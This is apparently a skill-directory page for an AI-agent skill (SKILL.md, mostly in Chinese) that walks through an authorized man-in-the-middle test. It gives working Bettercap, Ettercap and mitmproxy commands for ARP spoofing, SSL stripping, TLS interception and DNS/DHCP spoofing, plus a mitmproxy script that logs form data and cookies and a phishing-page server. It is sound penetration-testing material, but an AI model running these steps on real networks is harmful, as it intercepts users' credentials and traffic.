conducting-man-in-the-middle-attack-simulation

在授权环境中使用 Ettercap、mitmproxy 和 Bettercap 模拟中间人攻击(man-in-the-middle attacks), 拦截、分析和修改网络流量,以测试加密执行、证书验证和检测能力。

9 stars

Best use case

conducting-man-in-the-middle-attack-simulation is best used when you need a repeatable AI agent workflow instead of a one-off prompt.

在授权环境中使用 Ettercap、mitmproxy 和 Bettercap 模拟中间人攻击(man-in-the-middle attacks), 拦截、分析和修改网络流量,以测试加密执行、证书验证和检测能力。

Teams using conducting-man-in-the-middle-attack-simulation should expect a more consistent output, faster repeated execution, less prompt rewriting.

When to use this skill

  • You want a reusable workflow that can be run more than once with consistent structure.

When not to use this skill

  • You only need a quick one-off answer and do not need a reusable workflow.
  • You cannot install or maintain the underlying files, dependencies, or repository context.

Installation

Claude Code / Cursor / Codex

$curl -o ~/.claude/skills/conducting-man-in-the-middle-attack-simulation/SKILL.md --create-dirs "https://raw.githubusercontent.com/killvxk/cybersecurity-skills-zh/main/skills/conducting-man-in-the-middle-attack-simulation/SKILL.md"

Manual Installation

  1. Download SKILL.md from GitHub
  2. Place it in .claude/skills/conducting-man-in-the-middle-attack-simulation/SKILL.md inside your project
  3. Restart your AI agent — it will auto-discover the skill

How conducting-man-in-the-middle-attack-simulation Compares

Feature / Agentconducting-man-in-the-middle-attack-simulationStandard Approach
Platform SupportNot specifiedLimited / Varies
Context Awareness High Baseline
Installation ComplexityUnknownN/A

Frequently Asked Questions

What does this skill do?

在授权环境中使用 Ettercap、mitmproxy 和 Bettercap 模拟中间人攻击(man-in-the-middle attacks), 拦截、分析和修改网络流量,以测试加密执行、证书验证和检测能力。

Where can I find the source code?

You can find the source code on GitHub using the link provided at the top of the page.

SKILL.md Source

# 中间人攻击模拟演练

## 适用场景

- 测试应用程序是否正确验证 TLS 证书并强制执行加密通信
- 向组织利益相关方演示明文协议(HTTP、FTP、Telnet、SMTP)的风险
- 验证 HSTS、证书固定(certificate pinning)及其他反中间人攻击控制措施是否正确实施
- 评估网络对 ARP 欺骗(ARP spoofing)、DHCP 欺骗和 DNS 欺骗攻击的检测能力
- 训练事件响应(Incident Response)团队识别和响应中间人攻击指标

**不适用于**:在未经明确书面授权和回滚计划的情况下对生产网络使用,针对您不拥有或未获授权测试的系统,或拦截无关第三方的通信。

## 前置条件

- 书面授权,说明范围内目标和批准的中间人攻击技术
- 在攻击机上安装 Bettercap 2.x、Ettercap 和 mitmproxy
- 对目标主机所在网络分段的二层(Layer 2)访问权限
- 用于 TLS 拦截测试的自定义 CA 证书(专门为本次任务生成)
- 用于捕获和验证拦截流量的 Wireshark 或 tshark
- 隔离的实验室环境,或已获批准的生产测试窗口(含回滚程序)

## 工作流程

### 步骤 1:搭建攻击环境

```bash
# 启用 IP 转发
sudo sysctl -w net.ipv4.ip_forward=1
sudo sysctl -w net.ipv6.conf.all.forwarding=1

# 禁用 ICMP 重定向
sudo sysctl -w net.ipv4.conf.all.send_redirects=0

# 为 TLS 拦截生成 CA 证书
openssl genrsa -out mitm-ca.key 4096
openssl req -new -x509 -days 30 -key mitm-ca.key -out mitm-ca.crt \
  -subj "/CN=MITM Test CA/O=Security Assessment/C=US"

# 发现目标网络上的主机
sudo bettercap -iface eth0 -eval "net.probe on; sleep 10; net.show; quit"
```

### 步骤 2:使用 Bettercap 执行基于 ARP 的中间人攻击

```bash
# 以交互模式启动 Bettercap
sudo bettercap -iface eth0

# 启用网络探测以发现主机
> net.probe on

# 显示已发现的主机
> net.show

# 设置目标(受害者:192.168.1.50,网关:192.168.1.1)
> set arp.spoof.targets 192.168.1.50
> set arp.spoof.fullduplex true

# 启动 ARP 欺骗
> arp.spoof on

# 启用 HTTP 代理进行流量检查
> set http.proxy.sslstrip true
> http.proxy on

# 使用证书拦截启用 HTTPS 代理
> set https.proxy.certificate mitm-ca.crt
> set https.proxy.key mitm-ca.key
> https.proxy on

# 对特定域名启用 DNS 欺骗
> set dns.spoof.domains example.com,*.example.com
> set dns.spoof.address 192.168.1.99
> dns.spoof on

# 启用凭据嗅探器
> set net.sniff.verbose true
> set net.sniff.filter "tcp port 80 or tcp port 21 or tcp port 110"
> net.sniff on
```

### 步骤 3:使用 mitmproxy 拦截 HTTP/HTTPS 流量

```bash
# 以透明代理模式启动 mitmproxy
sudo mitmproxy --mode transparent --set confdir=~/.mitmproxy \
  --set ssl_insecure=true -w mitm_capture.flow

# 配置 iptables 将流量重定向到 mitmproxy
sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080

# 使用 mitmproxy 脚本进行自动化凭据提取
cat > extract_creds.py << 'PYEOF'
"""mitmproxy 脚本,用于从拦截的流量中提取凭据。"""
from mitmproxy import http
import json

def request(flow: http.HTTPFlow):
    if flow.request.method == "POST":
        content_type = flow.request.headers.get("content-type", "")
        if "form" in content_type or "json" in content_type:
            with open("captured_forms.log", "a") as f:
                f.write(f"URL: {flow.request.pretty_url}\n")
                f.write(f"Data: {flow.request.get_text()}\n")
                f.write("---\n")

def response(flow: http.HTTPFlow):
    # 记录认证 Cookie
    if "set-cookie" in flow.response.headers:
        with open("captured_cookies.log", "a") as f:
            f.write(f"URL: {flow.request.pretty_url}\n")
            f.write(f"Cookie: {flow.response.headers['set-cookie']}\n")
            f.write("---\n")
PYEOF

sudo mitmproxy --mode transparent -s extract_creds.py -w mitm_capture.flow
```

### 步骤 4:执行 DNS 欺骗和 DHCP 攻击

```bash
# 使用 Ettercap 进行 DNS 欺骗
sudo tee /etc/ettercap/etter.dns << 'EOF'
# 将目标域名重定向到攻击者的 Web 服务器
example.com      A   192.168.1.99
*.example.com    A   192.168.1.99
www.example.com  A   192.168.1.99
EOF

sudo ettercap -T -q -i eth0 -M arp:remote -P dns_spoof /192.168.1.50// /192.168.1.1//

# 使用 Bettercap 进行 DHCP 欺骗(提供以攻击者为网关的流氓 DHCP)
sudo bettercap -iface eth0
> set dhcp6.spoof.domains example.com
> dhcp6.spoof on

# 在攻击者机器上设置钓鱼页面
sudo python3 -m http.server 80 --directory /var/www/phishing/
```

### 步骤 5:验证检测并测试控制措施

```bash
# 验证目标应用程序的证书固定是否有效
# 如果应用拒绝中间人攻击 CA,则证书固定有效
# 检查目标机器上的证书错误

# 测试 HSTS 执行
# 初始 HTTPS 后浏览器拒绝 HTTP 连接,则 HSTS 有效
curl -v -k -L http://example.com 2>&1 | grep -i "strict-transport-security"

# 验证 IDS 对 ARP 欺骗的检测
# 检查 Snort/Suricata ARP 异常告警
grep -i "arp" /var/log/snort/alert_fast.txt

# 检查交换机是否检测到攻击(DAI 日志)
# 在 Cisco 交换机上:show ip arp inspection log

# 测试网络监控工具
# 验证 Zeek 是否生成了相应的告警
cat /opt/zeek/logs/current/notice.log | zeek-cut note msg

# 捕获成功/失败拦截的证据
tshark -i eth0 -f "host 192.168.1.50" -w mitm_evidence.pcapng -a duration:300
```

### 步骤 6:清理并记录结果

```bash
# 停止所有中间人攻击
# 在 Bettercap 中:
> arp.spoof off
> http.proxy off
> https.proxy off
> dns.spoof off
> quit

# 恢复 IP 转发
sudo sysctl -w net.ipv4.ip_forward=0

# 删除 iptables 规则
sudo iptables -t nat -F PREROUTING

# 验证目标主机的 ARP 表是否已恢复
# 目标应通过正常 ARP 重新学习正确的 MAC 地址

# 强制刷新 ARP 缓存(从目标机器执行)
# arp -d 192.168.1.1 && ping -c 1 192.168.1.1

# 从安装过测试 CA 证书的系统中移除它
# 按任务协议删除包含敏感数据的捕获文件

# 生成文档
echo "MITM 模拟在 $(date) 完成" >> mitm_report.txt
sha256sum mitm_capture.flow mitm_evidence.pcapng >> mitm_report.txt
```

## 核心概念

| 术语 | 定义 |
|------|------------|
| **中间人攻击(Man-in-the-Middle, MITM)** | 攻击者秘密拦截并可能篡改两方之间通信的攻击,而双方误以为在直接通信 |
| **SSL 剥离(SSL Stripping)** | 通过在 TLS 升级前拦截初始 HTTP 请求,将 HTTPS 连接降级为 HTTP 的降级攻击,绕过加密 |
| **HSTS(HTTP 严格传输安全)** | 强制 HTTPS 连接的浏览器安全策略,通过缓存加密连接要求来防止 SSL 剥离 |
| **证书固定(Certificate Pinning)** | 将服务器证书与预配置的可信证书集进行验证的应用安全控制,可检测中间人代理证书 |
| **ARP 缓存投毒(ARP Cache Poisoning)** | 通过破坏目标主机的 ARP 缓存,将流量重定向到攻击者机器的二层攻击技术 |
| **透明代理(Transparent Proxy)** | 无需客户端配置即可拦截流量的代理,通常使用 iptables REDIRECT 规则捕获发往标准端口的流量 |

## 工具与系统

- **Bettercap 2.x**:网络攻击瑞士军刀,支持 ARP/DNS/DHCP 欺骗、HTTP/HTTPS 代理和凭据嗅探,具有模块化架构
- **mitmproxy**:支持 TLS 的交互式代理,用于拦截、检查和修改 HTTP/HTTPS 流量,支持 Python 脚本
- **Ettercap**:传统中间人攻击工具,支持 ARP 欺骗、DNS 欺骗和基于插件的流量操纵
- **sslstrip**:实现 SSL 剥离攻击的工具,通过代理 HTTP 到 HTTPS 重定向并提供降级的 HTTP 版本
- **Wireshark**:数据包分析器,用于验证流量拦截并捕获中间人攻击成功或失败的证据

## 常见场景

### 场景:测试内部 Web 应用程序的 HTTPS 执行情况

**场景背景**:开发团队声称其内部 Web 应用程序强制执行 HTTPS 并配有 HSTS 和证书固定。安全团队需要在授权评估期间验证这些控制措施。应用程序运行在 10.10.20.50,由 10.10.1.0/24 VLAN 上的工作站访问。

**方法**:
1. 在同一 VLAN 上设置 Bettercap,并对测试工作站(10.10.1.100)进行 ARP 欺骗
2. 通过 Bettercap 的 HTTP 代理启用 SSL 剥离,测试应用程序是否可降级为 HTTP
3. 使用测试 CA 证书启用 HTTPS 拦截,以测试证书验证
4. 从测试工作站尝试访问应用程序,观察浏览器或应用程序是否拒绝连接
5. 验证 HSTS 头部是否存在且具有适当的 max-age 值
6. 记录厚客户端未实现证书固定(接受中间人攻击 CA),而 Web 浏览器由于 HSTS 预加载而正确拒绝
7. 建议在厚客户端应用程序中实现证书固定

**常见陷阱**:
- 忘记启用 IP 转发,导致拒绝服务而非透明拦截
- 在 HSTS 已预加载到浏览器的应用上测试 SSL 剥离后得出 HSTS 有效的结论,而实际上全新浏览器实例可能仍有漏洞
- 测试后未清理 ARP 欺骗,导致目标间歇性连接问题
- 未使用透明模式标志运行 mitmproxy,需要手动代理配置,改变了测试条件

## 输出格式

```
## 中间人攻击模拟报告

**测试 ID**: MITM-2024-001
**日期**: 2024-03-15 14:00-16:00 UTC
**目标应用程序**: https://app.internal.corp (10.10.20.50)
**测试工作站**: 10.10.1.100
**攻击机器**: 10.10.1.99

### 控制验证结果

| 控制项 | 状态 | 详情 |
|---------|--------|---------|
| HTTPS 重定向 | 通过 | HTTP 请求以 301 重定向到 HTTPS |
| HSTS 头部 | 通过 | max-age=31536000; includeSubDomains; preload |
| SSL 剥离(浏览器) | 已阻止 | HSTS 阻止 Chrome/Firefox 中的降级 |
| SSL 剥离(厚客户端) | 存在漏洞 | 客户端在无 HSTS 的情况下跟随 HTTP 重定向 |
| 证书固定(浏览器) | 不适用 | 仅标准 CA 验证 |
| 证书固定(厚客户端) | 存在漏洞 | 接受中间人攻击 CA 而不验证 |
| IDS 检测 | 通过 | Snort 在 12 秒内生成 ARP 欺骗告警 |

### 建议
1. 在厚客户端实现证书固定(高优先级)
2. 提交域名到 HSTS 预加载列表
3. 在接入层交换机上启用动态 ARP 检测(DAI)进行二层保护
4. 配置应用程序拒绝来自非固定证书的连接
```

Related Skills

recovering-from-ransomware-attack

9
from killvxk/cybersecurity-skills-zh

按照 NIST 和 CISA 框架执行结构化勒索软件事件恢复,包括环境隔离、取证证据保全、 干净基础设施重建、从已验证备份优先还原系统、凭据重置,以及针对再感染的验证。 涵盖 Active Directory 恢复、数据库还原和按依赖顺序重建应用栈。

performing-web-cache-poisoning-attack

9
from killvxk/cybersecurity-skills-zh

在授权安全测试期间,通过未纳入缓存键的头部和参数毒化缓存响应,利用 Web 缓存机制向其他用户投递恶意内容。

performing-web-cache-deception-attack

9
from killvxk/cybersecurity-skills-zh

通过利用 CDN 缓存层与源服务器之间的路径规范化差异,执行 Web 缓存欺骗攻击,从而缓存并获取敏感的已认证内容。

performing-vlan-hopping-attack

9
from killvxk/cybersecurity-skills-zh

在授权环境中使用交换机欺骗(Switch Spoofing)和双标签(Double Tagging)技术模拟 VLAN 跳转攻击, 测试 VLAN 分段有效性,并验证交换机端口安全配置对二层旁路攻击的抵御能力。

performing-supply-chain-attack-simulation

9
from killvxk/cybersecurity-skills-zh

模拟和检测软件供应链攻击,包括通过 Levenshtein 距离检测域名抢注(Typosquatting)、针对私有注册表的依赖混淆(Dependency Confusion)测试、使用 pip 进行包哈希验证,以及使用 pip-audit 扫描已知漏洞。

performing-ssl-stripping-attack

9
from killvxk/cybersecurity-skills-zh

在授权环境中使用 sslstrip、Bettercap 和 mitmproxy 模拟 SSL 剥离(SSL Stripping)攻击, 测试 HSTS 强制执行、证书验证以及保护用户免受加密连接降级攻击的 HTTPS 升级机制。

performing-phishing-simulation-with-gophish

9
from killvxk/cybersecurity-skills-zh

GoPhish 是一个开源钓鱼模拟框架,供安全团队开展授权的钓鱼意识培训活动,提供活动管理、邮件模板创建、着陆页克隆和综合报告功能。

performing-packet-injection-attack

9
from killvxk/cybersecurity-skills-zh

在授权安全评估中使用 Scapy、hping3 和 Nemesis 构造并注入自定义网络数据包, 测试防火墙规则、IDS 检测、协议处理能力以及网络协议栈对畸形和伪造流量的抵御能力。

performing-kerberoasting-attack

9
from killvxk/cybersecurity-skills-zh

Kerberoasting 是一种后渗透技术,通过为设置了服务主体名称(SPN)的账户请求 Kerberos TGS 票据来针对活动目录中的服务账户。这些票据用服务账户的 NTLM 哈希加密,允许在不产生登录失败事件的情况下进行离线暴力破解。

performing-jwt-none-algorithm-attack

9
from killvxk/cybersecurity-skills-zh

通过操纵 JSON Web Token 中的 alg 头部字段,执行并测试 JWT None 算法攻击,以绕过签名验证。

performing-http-parameter-pollution-attack

9
from killvxk/cybersecurity-skills-zh

执行 HTTP 参数污染(HPP)攻击,通过注入由前端和后端系统以不同方式处理的重复参数,绕过输入验证、WAF 规则和安全控制。

performing-graphql-depth-limit-attack

9
from killvxk/cybersecurity-skills-zh

使用深度嵌套递归查询执行和测试 GraphQL 深度限制攻击,以识别 GraphQL API 中的拒绝服务(DoS)漏洞。